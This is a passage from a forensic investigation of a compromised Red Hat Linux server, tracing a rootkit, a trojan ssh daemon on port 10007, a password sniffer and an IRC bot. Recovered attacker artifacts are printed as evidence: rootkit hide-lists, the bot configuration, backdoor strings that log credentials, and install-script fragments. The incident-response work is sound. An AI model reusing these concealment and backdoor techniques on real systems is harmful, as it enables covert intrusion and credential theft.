10/kernel/drivers/scsi/sr_mod.o: insmod block-major-11 failed
```

The first thing I see here that's interesting is that syslogd restarted at 6:29AM. syslogd is normally restarted by cron at around 4:02AM, so this must have been because something is wrong with the system or someone restarted the daemon manually.

The next seven lines are interesting, as well. It looks like there is an ssh daemon running as a process with a name of "smbd -D". "ssh" is the "secure shell" service. It allows a user to establish an encrypted connection with a system. Over this connection, the user can either run commands or pass other

traffic to be encrypted. This command name is interesting because syslog doesn't report the options a process is running with when it logs something. This means that the name of the process is actually "smbd -D", and not "smbd" running with an option of "-D". I'll also note the client's address of 10.20.30.71. These lines imply that an intruder has installed a covert ssh daemon that allows him access to the system. This is definitely a sign of someone up to no good. We see this connection end at 7:01AM, so we know that someone had access through this method for about half an hour, from 6:30AM to 7:01AM. This becomes an important timeframe to watch, as does the time leading up to 6:30AM because the intruder had to find get to the point of gaining access and installed the ssh daemon before it could actually be used.

The three lines starting at 6:31:16 show that the eth0 network interface went into promiscuous mode. When a network interface is configured for promiscuous mode, it means that the interface will receive all traffic on the network, not just the traffic destined for the interface's address. This is usually done by programs such as sniffers that are used to record all traffic or look for specific interesting traffic. We now need to keep an eye out on the system for a sniffer.

At 12:54PM, the user root logs in on the machine's console on tty1. This is me logging in to start collecting evidence. The insmod errors starting at 12:54PM reflect my attempts to mount a CD on the system, but the mount fails.

```
[mike@gizmo log]# ls -F
boot.log  dmesg  gdm/    iptraf/   ksyms.0  maillog   mysqld.log
pgsql*    sa/    secure  squid/    wtmp     zebra/    cron      fax/
httpd/    iscsi.log  lastlog  messages  news/       rpmpkgs  samba/
spooler   vbox/   xferlog
```

Another item to note in this directory is that there is only one "messages" file. One would think that older "messages" files would be rolled, as is custom, and named things such as "messages.0", "messages.1", etc.

The maillog presents us with some more evidence:

```
Jun 28 06:29:35 myhost sendmail[29330]: h5SATYq29330: from=root,
size=11874, class=0, nrcpts=1,
msgid=<200306281029.h5SATYq29330@localhost.localdomain>,
relay=root@localhost
Jun 28 06:29:35 myhost sendmail[29331]: h5SATYG29331: from=root,
size=11875, class=0, nrcpts=1,
msgid=<200306281029.h5SATYG29331@localhost.localdomain>,
relay=root@localhost
Jun 28 06:29:35 myhost sendmail[29334]: h5SATYD29334: from=root,
size=11878, class=0, nrcpts=1,
msgid=<200306281029.h5SATYD29334@localhost.localdomain>,
relay=root@localhost
Jun 28 06:29:39 myhost sendmail[29347]: h5SATYq29330:
to=3rdparty@3rdparty.org, ctladdr=root (0/0), delay=00:00:05,
xdelay=00:00:04, mailer=esmtp, pri=41874,
relay=mx2.bm.vip.sc5.somelargeisp.com. [172.16.30.159], dsn=5.0.0,
stat=Service unavailable
```

```
Jun 28 06:29:39 myhost sendmail[29347]: h5SATYq29330: h5SATdp29347:
DSN: Service unavailable
Jun 28 06:29:40 myhost sendmail[29347]: h5SATdp29347: to=root,
delay=00:00:01, xdelay=00:00:01, mailer=local, pri=41974, dsn=2.0.0,
stat=Sent
Jun 28 06:29:47 myhost sendmail[29346]: h5SATYG29331:
to=3rdparty@3rdparty.org, ctladdr=root (0/0), delay=00:00:13,
xdelay=00:00:12, mailer=esmtp, pri=41875,
relay=mx2.bm.vip.sc5.somelargeisp.com. [172.16.30.159], dsn=5.0.0,
stat=Service unavailable
Jun 28 06:29:47 myhost sendmail[29346]: h5SATYG29331: h5SATlF29346:
DSN: Service unavailable
Jun 28 06:29:48 myhost sendmail[29346]: h5SATlF29346: to=root,
delay=00:00:01, xdelay=00:00:01, mailer=local, pri=41975, dsn=2.0.0,
stat=Sent
Jun 28 06:30:38 myhost sendmail[29345]: h5SATYD29334:
to=swatplecat@somelargeisp.com, ctladdr=root (0/0), delay=00:01:04,
xdelay=00:01:02, mailer=esmtp, pri=41878,
relay=mx4.mail.somelargeisp.com. [172.16.40.17], dsn=2.0.0, stat=Sent
(ok dirdel)
```

It looks like three email messages were sent from root between 6:29AM and 6:30AM to external addresses. This is notable because, especially given the time of day, there was no valid user on this system locally, and also, the system was not configured to automatically generate email that might go to an external address. A system administrator might configure daemons that run automatically to send email about certain system events to a centralized account somewhere so that the administrator can view all important messages from one location without having to login to each system individually in order to examine each log file. We could show that this system isn't configured in this manner by using the "grep" command to search for any of the above two email addresses in system configuration files, such as those that live in the "/etc" directory. Also, we see in the messages at 6:29:40 and 6:29:48 that the user "root" received two pieces of email. Because root is the administrator account on this system, we only need permission from the administrator of this system in order to view this email.

Two other log files which are important are the utmp and wtmp files. utmp shows which users are currently logged into the system, and wtmp shows the history of logins by users. Let's look at the wtmp file:

```
[mike@gizmo log]# last -f wtmp
root     tty1                      Sat Jun 28 12:54  gone - no logout
root     tty1                      Thu Jun 26 02:27 - 02:27  (00:00)
root     tty1                      Wed Jun 25 23:14 - 23:15  (00:00)
root     tty1                      Thu Jun 26 05:18 - 23:14  (-6:-3)
reboot   system boot  2.4.7-10     Thu Jun 26 04:39         (59+08:05)
```

The wtmp file shows login events on the system in reverse chronological order. There's very little of interest in the entries in this file from the point of view of looking for malicious activity. We see that the system booted on June 26th at 4:39am. The third entry doesn't correspond in time with the previous two. This is because when the system booted, it had the incorrect time, and I logged in in

order to correct it. This explains in the second line from the bottom where root had a negative session duration. But after three logins the evening of June 25th and the early morning of June 26th, there were no recorded logins until I logged in again on June 28th at 12:54pm.

Conspicuously missing is the utmp file. It's usually side by side with the wtmp file, but in this case, we don't see it.

The next log files that are interesting are those in the samba directory. In the smbd.log file, which is the general log file for the daemon, we see:

```
[2003/06/28 05:58:27, 0] smbd/connection.c:yield_connection(62)
  yield_connection: tdb_delete failed with error Record does not exist.
[2003/06/28 06:00:15, 0] smbd/connection.c:yield_connection(62)
  yield_connection: tdb_delete failed with error Record does not exist.
[2003/06/28 07:01:32, 0] smbd/connection.c:yield_connection(62)
  yield_connection: tdb_delete failed with error Record does not exist.
[2003/06/28 09:18:06, 0] smbd/connection.c:yield_connection(62)
  yield_connection: tdb_delete failed with error Record does not exist.
```

In the samba directory, there is also a file called buddha.log, which would be the file for a user named buddha. In it is:

```
[2003/06/28 05:58:28, 0] lib/util_sock.c:read_socket_data(478)
  read_socket_data: recv failure for 4. Error = Connection reset by
peer
[2003/06/28 05:58:30, 0]
passdb/smbpass.c:startsmbfilepwent_internal(87)
  startsmbfilepwent_internal: unable to open file /etc/samba/smbpasswd.
Error was No such file or directory
[2003/06/28 05:58:30, 0]
rpc_server/srv_samr_nt.c:get_sampwd_entries(79)
  get_sampwd_entries: Unable to open SMB password database.
[2003/06/28 05:58:31, 0] lib/util_sock.c:read_socket_data(478)
  read_socket_data: recv failure for 4. Error = Connection reset by
peer
```

... 35 errors identical to the previous spread relatively evenly in time up to the next ...

```
[2003/06/28 06:00:26, 0]
passdb/smbpass.c:startsmbfilepwent_internal(87)
  startsmbfilepwent_internal: unable to open file /etc/samba/smbpasswd.
Error was No such file or directory
[2003/06/28 06:00:26, 0]
rpc_server/srv_samr_nt.c:get_sampwd_entries(79)
  get_sampwd_entries: Unable to open SMB password database.
[2003/06/28 06:00:27, 0] lib/util_sock.c:read_socket_data(478)
  read_socket_data: recv failure for 4. Error = Connection reset by
peer
```

... 21 errors identical to the previous spread relatively evenly in time up to the next ...

```
[2003/06/28 06:01:02, 0] lib/util_sock.c:get_socket_addr(1036)
  getpeername failed. Error was Transport endpoint is not connected
[2003/06/28 06:01:02, 0] lib/util_sock.c:write_socket_data(546)
  write_socket_data: write failure. Error = Connection reset by peer
[2003/06/28 06:01:02, 0] lib/util_sock.c:write_socket(569)
  write_socket: Error writing 4 bytes to socket 5: ERRNO = Connection
reset by peer
[2003/06/28 06:01:02, 0] lib/util_sock.c:send_smb(733)
  Error writing 4 bytes to client. -1. (Connection reset by peer)
[2003/06/28 06:01:02, 0] lib/util_sock.c:read_socket_data(478)
  read_socket_data: recv failure for 4. Error = Connection reset by
peer
```

... 11 errors identical to the previous spread relatively evenly in time up to the next ...

```
[2003/06/28 06:01:18, 0] lib/util_sock.c:read_socket_data(478)
  read_socket_data: recv failure for 4. Error = Connection reset by
peer
```

Next we'll look at the user root's email. We see two messages to root from MAILER-DAEMON. Email from MAILER-DAEMON usually corresponds to an error in delivery of a message. The first has a date of "Sat, 28 Jun 2003 06:29:39 -0400" and reports the following delivery error:

```
     ----- The following addresses had permanent fatal errors -----
   3rdparty@3rdparty.org
       (reason: 554 delivery error: dd Sorry, your message to
3rdparty@3rdparty.org cannot be delivered.
       This account is over quota. - mta100.bizmail.somelargeisp.com)
```

about a message sent on "Sat, 28 Jun 2003 06:29:34 -0400". The second message has a date of "Sat, 28 Jun 2003 06:29:47 -0400" and reports the same error about another message sent on "Sat, 28 Jun 2003 06:29:34 -0400".

The two original messages provide many details about the configuration of this system such as network addresses, services running, the password file, and listings of "interesting files". These original messages are definitely evidence of wrong-doing both because someone is doing reconnaissance on our system and stealing the encrypted passwords on it. Another interesting thing in the email is a list of services being run. Two lines in particular stick out:

```
smbd      25599     root   17u  IPv4      52310    TCP *:45295 (LISTEN)
smbd      29269     root   17u  IPv4      59773    TCP *:10007 (LISTEN)
```

The Samba server doesn't usually listen on these two ports so this warrants further investigation. Earlier, we saw that there was a connection to a possible ssh server called smbd. The process ID saved in the log was 29269, which corresponds to the process ID (second column) in the second line above. So

now we know we have what appears to be an ssh server listening on TCP port 10007. We don't know yet what's happening on TCP port 45295.

Files with the suid and sgid bits set

One thing that many hackers do is to change the privileges of existing programs or programs that they've uploaded to the system. They set the privilege so that when the program runs, it assumes the privileges of a different user, normally a user with more power, such as the administrator account, root, also known as the "super-user". "root" is the account on a UNIX system that normally has no limitation on what it can do. That's why it's very important to protect that account. Hackers will often try to hijack a program running with the power of root in order to have it perform whatever task the hackers would like. There are several programs on a UNIX system that need to run with root's privileges so that a normal user can perform certain restricted functions. An example is the "ping" command. "ping" is used to send a request packet to another machine on the network to see if that machine exists and is responding to network traffic. The other machine then sends a reply to the original request, and the "ping" command reports to the user that the machine exists and is responding to network traffic. This is a normal command run for diagnosing network problems, for example, relating to a broken network cable. The reason that "ping" needs root privileges is because it needs to open a specific type of network socket that only root can open. Programs that assume the privilege level of a single user have what's called the "suid bit" set. "suid", pronounced as individual letters, stands for "set user ID". Another privilege escalation happens when the "sgid bit" is set. "sgid" stands for "set group ID". It gives the program the privilege of a certain group of users. We can see what files have the "suid" or "sgid" set by running the following command:

```
[mike@gizmo linux]# find . -perm +06000 | xargs ls -ld
```

In this list, we don't see anything that sticks out as an unusual or dangerous setting.

Package Verification

This machine was installed with RedHat Linux. RedHat provides software in "rpm" packages and a database holds much information about the files in the package, including their locations, checksums, permissions, etc. We can use the "rpm" command to verify the files on the disk versus the information in the database.

```
unsafe# rpm -Va
S.5.....   /bin/netstat
S.5.....   /bin/ls
SM5.....   /bin/ps
SM5.....   /usr/bin/top
```

The meanings of the letters above are the following:

S	file Size differs
M	Mode differs (includes permissions and file type)
5	MD5 sum differs
D	Device major/minor number mismatch
L	readLink(2) path mis-match
U	User ownership differs
G	Group ownership differs
T	mTime differs

We see that the MD5 checksum for four programs on the system have changed, which probably isn't a good sign. It means that the programs that exist now aren't the same four that were installed originally. This probably means that the hacker has replaced them with programs that do something slightly different from what we want. This could be for any reason from covering his own tracks by having the programs not print out certain info to having the programs perform other malicious functionality when they're run.

We can do a cursory examination of the new files with the strings command, looking for strings that probably don't belong. The strings command will pull out and display all of the strings of text in a binary file. Normally binary files aren't human readable, so it's easier to search through them when a utility can pull out just the readable text. Running strings on "/bin/netstat" shows many strings, but the string "/dev/ttyoa" sticks out. Normally netstat wouldn't access any device files in the /dev directory. Running strings on "/bin/ls" also shows an interesting string: "/dev/ttyof". This is another which probably doesn't belong. Similarly, "/bin/ps" and "/usr/bin/top" both hav a string "/dev/ttyop" in them.

Let's take a look at what these three referenced files could be. First I'll see what the list command "ls" says about them.

```
gizmo# cd /dev
gizmo# ls -l ttyo[afp]
-rwxr-xr-x    1 1004     1004           58 May  5 06:49 ttyoa
-rwxr-xr-x    1 1004     1004           39 Mar 17  2002 ttyof
-rwxr-xr-x    1 1004     1004           90 May  5 06:50 ttyop
gizmo# ls -lc ttyo[afp]
-rwxr-xr-x    1 1004     1004           58 Jun 28 06:29 ttyoa
-rwxr-xr-x    1 1004     1004           39 Jun 28 06:29 ttyof
-rwxr-xr-x    1 1004     1004           90 Jun 28 06:29 ttyop
gizmo# ls -lu ttyo[afp]
-rwxr-xr-x    1 1004     1004           58 Jun 28 06:28 ttyoa
-rwxr-xr-x    1 1004     1004           39 Jun 28 06:28 ttyof
-rwxr-xr-x    1 1004     1004           90 Jun 28 06:28 ttyop
```

The first thing we notice by the initial hyphen is that these are "regular" files. That means that they're not "device" files, which are the interfaces to hardware

devices, as we would expect to find in this directory. Next we see that the ID of the owner and the group associated with these files is 1004. Because the UID and GID are shown as numbers instead of names, we know that there aren't entries in the system password and group files associated with these numbers. (Although, it might be possible that the username associated with ID 123 is "1004", but a check of /etc/passwd and /etc/group show that there are, in fact, no users associated with the ID 1004.) It's likely that these files were brought over to the system in an archive file of some sort that stored the owner and group IDs. We'll remember the number 1004 for correlation with other files later. Before we go on, I'll use the "find" command to look for any other files on the system that might have this same user id associated with them.

```
gizmo# find /mnt/linux -uid 1004
/mnt/linux/dev/ttyop
/mnt/linux/dev/ttyoa
/mnt/linux/dev/ttyof
```

The find only returned the three files we already knew about.

Next, we see the dates associated with the files. The first "ls" command shows when the files were last modified. One was modified in 2002, and the other two were modified on May 5th of this year, 2003. The next "ls" command shows that the inode information about the files changed on the morning of June 28th. This could be because the permissions on the files or other non-content file attributes changed. The third "ls" command shows when the files were last read, which might be when they were installed or when they were last used. Let's look at the contents of the files. "cat" is a simple command which just displays the contents of the specified file.

```
gizmo# cat ttyoa
1 213.233
1 217.10
1 80.97
3 10007
3 6667
4 10007
4 6667
gizmo# cat ttyof
psbnc
smbd
palette
uptime
startwu
r00t
gizmo# cat ttyop
3 swapd
3 psybnc
3 sl2
3 sl3
3 smbd
3 uptime
3 x2
```

```
3 startwu
3 scan
3 r00t
3 openssl
3 str
```

The file "ttyoa" contains what looks like network addresses and port numbers. 10007 is the port we previously associated with the stealth "ssh" server, and 6667 is the port usually associated with the IRC service. IRC is an older text-based Internet "chat room". IRC stands for "Internet Relay Chat". Because the file ttyoa is referenced in netstat, we might assume that when the new netstat displays a list of all of the network connections to or from the system, it won't display connections with those network addresses or ports.

The file "ttyof" contains what might be commands or filenames. Because it's associated with the "ls" command, this file might contain names of files that "ls" shouldn't display when it returns a list of files in a directory.

In the file "ttyop", we see another list, similar to what was in the "ttyof" file, but this one is associated with the "top" and "ps" commands. "top" and "ps" both display lists of programs that are currently running on the system.
I would assume that the contents of this file is a list of programs that "top" and "ps" should not return to the user.

I assume that the contents of all of these files are data that the associated commands shouldn't return because not returning those data helps a hacker conceal his presence on the system. In order to verify my assumptions, one could reverse-engineer these "trojan" programs, which might take a significant amount of time, or one could run the commands to test the hypotheses, which might prove dangerous if the command does something that we're not expecting. For now we'll hold the assumption and see how it relates to the rest of the facts we find. What might be more important is associating the contents of these files with other evidence.

chkrootkit

Another tool we can use is chkrootkit. chkrootkit, from www.chkrootkit.org, as its name implies, checks for rootkits on a system. A rootkit is a set of tools used by hackers in order to escalate their privilege level on a system to that of the super-user "root". The kit usually also has tools to cover the intruder's tracks and methods so that he can maintain his access to the root account. I'll use chkrootkit to look for some of the many signs that any of many common rootkits is being employed on the system.

```
gizmo# ./chkrootkit -r /mnt/linux
ROOTDIR is `/mnt/linux/'
Checking `ls'... INFECTED
Checking `netstat'... INFECTED
Checking `ps'... INFECTED
Checking `top'... INFECTED
Checking `aliens'...
```

```
/mnt/linux/dev/ttyop /mnt/linux/dev/ttyoa
```

I've included the interesting results. "chkrootkit" found that four of the programs on the system, ls, netstat, ps, and top, had been replaced. It also found two files called /dev/ttyop and /dev/ttyoa that didn't belong in the /dev directory. This information is useful in that it confirms information we'd found earlier in the investigation.

Digging Down

We've looked at the files on the system from a user's point of view. That is we've used the commands that are normally a part of a system to look at the contents of regular files. Now it's time to use some tools specific to forensics to dig into the filesystem and pull out some of the harder to find information. I'll only document the examination of the hda2 partition, which is the root partition. This contains the filesystem holding the bulk of the files on this machine. The other file partition is hda1, which is the boot partition. That partition holds the kernel and other files necessary for the system to boot. Investigation of that partition didn't show anything pertaining to this case, so I haven't included the irrelevant data here.

I'll be using a selection of common forensics tools for the following analysis. From @Stake's Task, version 1.60, I'll be using the fsstat, ils, dls, fls, istat, and mactime tools. From The Coroner's Toolkit, version 1.11, from www.fish.com, I'll be using lazarus. And I'll also be using mac-robber, version 1.00. These tools look at the metadata on the disk partition.The metadata structures are those containing the data about the files, such as timestamps, location on disk, etc., but not the actual file contents.

The fsstat command will give us some statistics from a specified filesystem, and I'll store the output in the file "hda2.fsstat" for future reference.

```
gizmo# fsstat -f linux-ext3 hda2 > hda2.fsstat
```

Some of the interesting data returned is the following:

```
FILE SYSTEM INFORMATION
--------------------------------------------
File System Type: EXT2FS
Volume Name: /
Last Mount: Thu Jun 26 04:39:41 2003
Last Write: Thu Jun 26 04:39:41 2003
Last Check: Wed Jun 25 08:39:47 2003
Unmounted properly
Last mounted on:
Operating System: Linux
Dynamic Structure
Compat Features: Journal,
InCompat Features: Filetype, Recover,
Read Only Compat Features: Sparse Super,
```

Different operating systems store files in a different ways on their own filesystems, and some of the following commands need to be told what type of filesystem they're working on. We see that this filesystem is of type "ext2" from a Linux OS, and it has the journaling feature, which means we're really using the filesystem type "ext3". For commands we'll use from here on which need to know which type of filesystem, I'll specify linux-ext3 as the type.

"ils" is a command which will return to us lists of inodes. "inodes" are structures which hold the data about the files and tell the operating system where to find the contents of files on the disk. This next command will show us inodes of removed files:

```
gizmo# ils -m -r -f linux-ext3 hda2 > hda2.ils.r
class|host|start_time
body|gizmo|1061618976
md5|file|st_dev|st_ino|st_mode|st_ls|st_nlink|st_uid|st_gid|st_rdev|st_
size|st_atime|st_mtime|st_ctime|st_blksize|st_blocks
0|<hda2-alive-150779>|0|150779|16877|drwxr-xr-
x|0|1004|1004|0|4096|1056796177|1056796177|1056796177|4096|0
```

This command returned 43 inodes, but the only current relevant one is 150779. Note also that the uid and gid associated with inode are 1004, the same suspect ids we noted before. I used the icat command to display the contents of the data blocks pointed to by some of the inodes. The contents of a file are stored in various blocks on the disk, and these blocks are kept track of in the inodes. Theoretically, one could use icat to display the contents of a deleted file if the blocks containing the data hadn't been reused for a new file. Running icat on 42 of the 43 returned inodes yielded no content, which is a little odd.

Now let's examine inode 150779. First we'll run istat on it to get information about the file.

```
gizmo% istat -f linux-ext3 ../hda2 150779
inode: 150779
Allocated
Group: 9
uid / gid: 1004 / 1004
mode: drwxr-xr-x
size: 4096
num of links: 0

Inode Times:
Accessed:       Sat Jun 28 06:29:37 2003
File Modified:  Sat Jun 28 06:29:37 2003
Inode Modified: Sat Jun 28 06:29:37 2003

Direct Blocks:
308036
```

The "d" in the mode of this inode shows that it is a directory. The inode times are important, too, because this 6:29 to 6:30 timeframe is starting to attract attention, and so are the uid and gid 1004.

Next, we use icat to get the list of files in the directory. The returned data is binary, so I'll pipe the output through strings to get just the readable text.

```
gizmo# icat -f linux-ext3 hda2 150779 | strings
informatii
ava1
mail
kde.c
sense
.install.swp    M
wget.tgz
pico.tgz
sysinfo
netstat
swapd2
.ttyoa
.ttyof
.ttyop
chattr.tgz
install
crontabs
pico
```

This appears to be a list of filenames from a directory. The three files named ".ttyoa", ".ttyof", and ".ttyop" are suspicious. The names would be the same as those we found in /dev, except these have a leading dot. The file with the name "install" usually indicates that it's a script to install the files that came with it so we might expect to find some of the above files elsewhere on the system.

Now let's use ils again to get a list of files that are "open but removed". UNIX doesn't actually remove a file completely until it's no longer in use. This makes it possible sometimes to retrieve entire files that aren't otherwise accessible through the normal filesystem interface.

```
gizmo# ils -m -o -f linux-ext3 hda2 > hda2.ils.o
class|host|device|start_time
ils|gizmo|hda2|1060386954
st_ino|st_alloc|st_uid|st_gid|st_mtime|st_atime|st_ctime|st_dtime|st_mo
de|st_nlink|st_size|st_block0|st_block1
1|a|0|0|1056544804|1056544804|1056544804|0|0|0|0|0|0
3|a|0|0|0|0|0|0|0|0|0|0|0
4|a|0|0|0|0|0|0|0|0|0|0|0
5|a|0|0|0|0|0|0|0|0|0|0|0
6|a|0|0|0|0|0|0|0|0|0|0|0
7|a|0|0|0|0|0|0|0|0|0|0|0
9|a|0|0|0|0|0|0|0|0|0|0|0
10|a|0|0|0|0|0|0|0|0|0|0|0
150779|a|1004|1004|1056796177|1056796177|1056796177|0|40755|0|4096|3080
36|0
```

The only inode in this list which has any data attached to it is 150779, and we've already examined it.

Bringing Back Lost Data

Next, I'll use dls to get the contents of unallocated data blocks on the system. Although these data blocks aren't in use, they may have been at one time and still contain some of the contents of files. Data blocks are a fixed size, usually 1024 or 4096 bytes in size, so any file longer than this will use multiple blocks. If one of a group of blocks has been reused, we'll only be able to retrieve the partial contents of the file.

```
gizmo# dls -f linux-ext3 -e hda2 > hda2.dls
```

An "ls" of hda2.dls shows that it's approximately 450 Megabytes in size. This is much too large for a person to reasonably search through. Fortunately, we can use a tool called "lazarus". Lazarus is a tool which searches through an image block by block. For each block, it uses certain heuristics to determine what type of data is in that block. It may say that the block contains email, a password file, program source code, archive files, etc. It outputs its findings to an html file so that we can use a web browser to look through the results. One of the other things that lazarus does is to group together consecutive blocks of the same type. This makes it easier to retrieve larger parts or all of a file if one's lucky.

```
gizmo# lazarus -h hda2.dls
```

Lazarus found a lot of interesting data in the unused blocks. In block 220041, there's what looks like a configuration file for an IRC "bot". A "bot" is an automatic program that logs into a channel on IRC as a normal user would. That bot may then accept commands from that channel and run certain programs on its own system. This makes for an easy way for a hacker to control a large number of computers from a centralized point.

```
entity overbot20295
linkport -1

nick Rexu
login ass
ircname Swat Tech.
cmdchar !
userfile /etc/host

set BANMODES 6
set OPMODES 6
tog SPY 1
channel #geo
set MDL 4
set MBL 3
```

```
set MKL 4
tog SHIT 1
tog PROT 1
tog ENFM 1
set ENFM +nst


server surrey.uk.eu.ircisp.org 6667
server paris.fr.eu.ircisp.org 6667
server caen.fr.eu.ircisp.org 6667
server austin.tx.us.ircisp.org 6667
server 172.17.40.52 6660
server 172.17.41.17 6660
server 172.17.42.164 6660
server 172.17.43.129 6660
server 172.17.44.3 6660
server 172.17.45.250 6660
server 172.17.46.35 6660
server 172.17.47.230 6660
server 172.17.48.162 6660
server 172.17.49.23 6660
server 172.17.50.250 6060
server 172.17.51.23 6669
```

Block 220045 had contents of a file that appeared to be a list of IRC commands. This may possibly be another configuration file for the IRC bot.

The data in block 323989 gives us some more information. lazarus claims that this is a runnable program. Because it's a binary file, I'll use strings to see what's in it for interesting text.

```
gizmo% strings 323989.x.txt
mv h /usr/include/icekey.h
mv hh /usr/include/iceconf.h
mv hhh /usr/include/iceseed.h
mv ava1 /usr/bin/"smbd -D"
"smbd -D"
```

This looks like some sort of install program because it moves some files to another location and then runs a command. This may also point us at some more files to investigate. Examining the three "ice" files shows that they are probably associated with ssh. The first one, icekey.h, includes the string "SSH PRIVATE KEY FILE FORMAT 1.1" which implies that it is one of the cryptographic keys for ssh to use in encrypting a session. The third file, iceseed.h, appears to be a binary file used in selecting session keys for use in establishing an encrypted connection. The second, iceconf.h, appears to be a standard configuration file for the ssh daemon. There is some interesting data in this configuration file:

```
# This is ssh server systemwide configuration file.
Port 10007
ListenAddress 0.0.0.0
HostKey /usr/include/icekey.h
```

```
RandomSeed /usr/include/iceseed.h
PidFile /usr/include/icepid.h
```

First it tells us that the server should run on port 10007. This confirms the many pieces of information we've found so far referring to port 10007. The configuration file also references the other two files: icekey.h and iceseed.h. But lucky for us, it references another file: icepid.h. Checking the contents of icepid.h returns us a single number: 29269. This is the process ID we saw in the log file, and it's also the number of a process we saw in the intruder's email that bounced back to root.

The data also refers to "/usr/bin/smbd -D". This file exists and strings returns the following interesting strings:

```
/usr/include//iceconf.h
By-ICE_4_All ( Hackers Not Allowed! )
sshd version %.100s [%.100s]
+-[ User Login Incoming ]----------- --- --- - -
| username: %s password: %s%s hostname: %s
+---------------------------------- ----- --- -- -- -
/usr/include//sshrc
/usr/include//shosts.equiv
/usr/include//ssh_known_hosts
/usr/include//icekey.h
/usr/include//iceseed.h
ps laxww 2>/dev/null
ps -al 2>/dev/null
ls -alni /tmp/. 2>/dev/null
w 2>/dev/null
netstat -s 2>/dev/null
netstat -an 2>/dev/null
netstat -in 2>/dev/null
```

As we had suspected, it looks like this file is the ssh server. The only strings listed that is normally in a system provided ssh server is the version line. The others have been added by another programmer, possibly from a group called "ICE_4_All". The three lines beginning with "User Login Incoming" appear to be a log message printed somewhere so we want to keep an eye out for files containing this message. The last seven lines all appear to be shell commands. It isn't clear when they run, but I assume that when a user logs in, those commands run and he is presented with the output from them.

The data at block 324005 warrants further investigation. It's another program executable, and strings shows it contains the following:

```
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
strcpy
dup2
pipe
write
__deregister_frame_info
```

```
fork
execlp
exit
_IO_stdin_used
__libc_start_main
strlen
__register_frame_info
close
GLIBC_2.0
PTRhL
QVhp
Eroare fork1
pxnohvCpxnohv1ruj
VzdwUrrw
pdlo
lqirupdwll
```

The last six strings are interesting because they appear as though they might be some kind of encrypted or encoded text. The program also calls the fork, execlp, write, and pipe library functions which suggests that it's starting another process and communicating with it. We aren't able to tell from this information what that process is. Some reverse-engineering might tell us what's really happening as could running it on an unimportant computer disconnected from the network. Because we don't know what it does, we want to be careful about where we run it.

The blocks from 324021 to 324024 contain a C program for a network sniffer. According to the source code, it watches for connections on the ports for ftp, telnet, pop3, pop2, imap2, rlogin, and poppasswd. When it sees a connection to one of those services, it then captures the first 2000 characters or the first 30 seconds of the connection and saves the data to disk.

The second and third line of the source code provide us with two more names of files to examine.

```
#define TCPLOG "/usr/lib/libice.log"
#define PIDFILE "/usr/lib/swap.p"
```

"ls" shows that the lgo file is empty, so the log file apparently hasn't captured any connections.

```
gizmo% ls -l /mnt/linux/usr/lib/libice.log
-rw-rw-rw-    1 root     root            0 Jun 28 06:29
/mnt/linux/usr/lib/libice.log
```

The swap.p file contains the process ID of the sniffer. We will examine this process later.

```
gizmo% cat /mnt/linux/usr/lib/swap.p
29485
```

The data in block 324045 is part of an archive containing a program called wget. wget is commonly known as a command-line program for retrieving web pages or other content referenced by URLs. The hacker may have provided a copy because not all systems have wget installed by default. The command has returned an error because I only have the first quarter of the datablocks for this archive. The others are either located somewhere else or have been reused by a newer file.

```
gizmo% gunzip -c  324045.z.txt | tar tvf -
-rwxr-xr-x root/root    126024 2002-02-05 07:51:53 wget

gunzip: 324045.z.txt: unexpected end of file
tar: Unexpected EOF in archive
tar: Error is not recoverable: exiting now
```

The data in block 324109 contains another archive. This one contains a command called pico. Pico is commonly known as a simple file editor. We also get a bit more data from this archive. We see that pico is owned by a user named "IceNick" and has a group ID of 506. I use find again to look for any file that has a gid of 506.

```
gizmo% gunzip -c 324109.z.txt | tar tvf -
-rwxr-xr-x IceNick/506  165136 2002-01-19 03:11:01 pico

gunzip: 324109.z.txt: unexpected end of file
tar: Unexpected EOF in archive
tar: Error is not recoverable: exiting now
gizmo% chkrootkit-0.41]# find /mnt/linux -gid 506 /mnt/linux/bin/pico
gizmo% chkrootkit-0.41]# ls -l /mnt/linux/bin/pico
-rwxr-xr-x    1 506      506    165136 Jan 19  2002 /mnt/linux/bin/pico
```

The pico referenced above has been installed on the system. Running strings on the file doesn't show that there might be anything obviously wrong with the program.

The file in block 324193 gives us some more good information. This is a shell script which is used to gather data about a system. The first thing to notice about it is the signature "Made by ICE." It's possible that this ice also goes with the other references to "ice" we have seen so far. The ssh server has "ICE_4_All"; the sniffer stores to a file called "libice.log"; pico is owned by the user "IceNick"; and this script is "Made By ICE".

This script is shown in Appendix D. The first thing the script does is get the name and the Internet address of the computer. It then records the version and distribution (brand) of the operating system. After that it saves the number of users currently on the system, the length of time that the computer has been running, and how busy the computer is. It also checks to see what user is running the script and then checks the speed and availability of connectivity to somelargeisp.com. After this, the script gathers information about the computer's hardware, such as the speed of the CPU and the amount of RAM in the system.

It looks to see how big the hard drives are and lists which services are running. It then copies the password files, and following that it searches the system for music and video files. There is a good number of commands that are run by this script, and that should help us place on the timeline when and if the script was run.

The data in blocks 324201 through 324210 appear to contain the sniffer program compiled from the source code we found earlier. Running strings on the data returns the same strings that we see in the source code so it's likely that this assumption is correct.

Block 324221 contains another archive file. This one contains a program called chattr. Note also that this program is also owned by the user IceNick.

```
gizmo% gunzip -c 324221.z.txt | tar tvf -
-rwxr-xr-x IceNick/506    7512 2002-01-19 03:10:41 chattr
```

"chattr" is used to change the attributes on a file. According to the manual page for chattr on a linux system, some of the available attributes are:

a	The access time isn't changed.
c	The file is compressed when it's saved to disk.
i	The contents of the file can't be modified.
s	When the file is deleted, all of it's data is cleared.
u	When the file is deleted, its contents are saved.

These options can have some interesting effects on files. For example, if the 's' attribute is set on a file, after the file gets deleted, we won't be able to recover the data because the data in the data blocks will be erased.

The file content in the five data blocks starting at block 324225 contains another set of very useful information. This file may be the install script that we found listed in the deleted directory from inode 150779.

